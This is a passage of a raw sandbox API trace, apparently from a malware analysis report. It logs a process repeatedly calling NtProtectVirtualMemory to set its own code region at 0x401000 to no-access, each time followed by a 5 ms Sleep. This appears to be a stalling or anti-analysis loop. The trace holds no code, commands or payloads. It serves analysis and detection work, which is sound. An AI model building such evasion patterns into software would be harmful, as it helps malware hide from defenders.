OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.265] Sleep (dwMilliseconds=0x5) [0251.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.315] Sleep (dwMilliseconds=0x5) [0251.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.360] Sleep (dwMilliseconds=0x5) [0251.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.403] Sleep (dwMilliseconds=0x5) [0251.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.449] Sleep (dwMilliseconds=0x5) [0251.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.498] Sleep (dwMilliseconds=0x5) [0251.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.544] Sleep (dwMilliseconds=0x5) [0251.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.584] Sleep (dwMilliseconds=0x5) [0251.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.656] Sleep (dwMilliseconds=0x5) [0251.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.724] Sleep (dwMilliseconds=0x5) [0251.894] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.899] Sleep (dwMilliseconds=0x5) [0252.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.002] Sleep (dwMilliseconds=0x5) [0252.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.053] Sleep (dwMilliseconds=0x5) [0252.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.099] Sleep (dwMilliseconds=0x5) [0252.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.153] Sleep (dwMilliseconds=0x5) [0252.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.201] Sleep (dwMilliseconds=0x5) [0252.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.292] Sleep (dwMilliseconds=0x5) [0252.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.335] Sleep (dwMilliseconds=0x5) [0252.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.382] Sleep (dwMilliseconds=0x5) [0252.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.432] Sleep (dwMilliseconds=0x5) [0252.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.473] Sleep (dwMilliseconds=0x5) [0252.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.554] Sleep (dwMilliseconds=0x5) [0252.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.604] Sleep (dwMilliseconds=0x5) [0252.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.648] Sleep (dwMilliseconds=0x5) [0252.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.696] Sleep (dwMilliseconds=0x5) [0252.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.842] Sleep (dwMilliseconds=0x5) [0252.883] Sleep (dwMilliseconds=0x5) [0252.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.954] Sleep (dwMilliseconds=0x5) [0252.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.997] Sleep (dwMilliseconds=0x5) [0253.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.040] Sleep (dwMilliseconds=0x5) [0253.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.116] Sleep (dwMilliseconds=0x5) [0253.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.169] Sleep (dwMilliseconds=0x5) [0253.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.218] Sleep (dwMilliseconds=0x5) [0253.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.284] Sleep (dwMilliseconds=0x5) [0253.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.339] Sleep (dwMilliseconds=0x5) [0253.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.389] Sleep (dwMilliseconds=0x5) [0253.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.437] Sleep (dwMilliseconds=0x5) [0253.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.483] Sleep (dwMilliseconds=0x5) [0253.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.527] Sleep (dwMilliseconds=0x5) [0253.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.571] Sleep (dwMilliseconds=0x5) [0253.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.624] Sleep (dwMilliseconds=0x5) [0253.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.671] Sleep (dwMilliseconds=0x5) [0253.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.720] Sleep (dwMilliseconds=0x5) [0253.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.768] Sleep (dwMilliseconds=0x5) [0253.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.814] Sleep (dwMilliseconds=0x5) [0253.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.922] Sleep (dwMilliseconds=0x5) [0253.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.979] Sleep (dwMilliseconds=0x5) [0254.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.032] Sleep (dwMilliseconds=0x5) [0254.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.079] Sleep (dwMilliseconds=0x5) [0254.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.128] Sleep (dwMilliseconds=0x5) [0254.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.213] Sleep (dwMilliseconds=0x5) [0254.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.275] Sleep (dwMilliseconds=0x5) [0254.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.332] Sleep (dwMilliseconds=0x5) [0254.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.379] Sleep (dwMilliseconds=0x5) [0254.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.422] Sleep (dwMilliseconds=0x5) [0254.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.545] Sleep (dwMilliseconds=0x5) [0254.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.604] Sleep (dwMilliseconds=0x5) [0254.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.661] Sleep (dwMilliseconds=0x5) [0254.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.726] Sleep (dwMilliseconds=0x5) [0254.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.775] Sleep (dwMilliseconds=0x5) [0254.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.824] Sleep (dwMilliseconds=0x5) [0254.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.913] Sleep (dwMilliseconds=0x5) [0254.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.966] Sleep (dwMilliseconds=0x5) [0255.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.011] Sleep (dwMilliseconds=0x5) [0255.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.059] Sleep (dwMilliseconds=0x5) [0255.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.111] Sleep (dwMilliseconds=0x5) [0255.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.154] Sleep (dwMilliseconds=0x5) [0255.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.198] Sleep (dwMilliseconds=0x5) [0255.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.247] Sleep (dwMilliseconds=0x5) [0255.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.297] Sleep (dwMilliseconds=0x5) [0255.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.380] Sleep (dwMilliseconds=0x5) [0255.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.437] Sleep (dwMilliseconds=0x5) [0255.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.478] Sleep (dwMilliseconds=0x5) [0255.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.530] Sleep (dwMilliseconds=0x5) [0255.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: 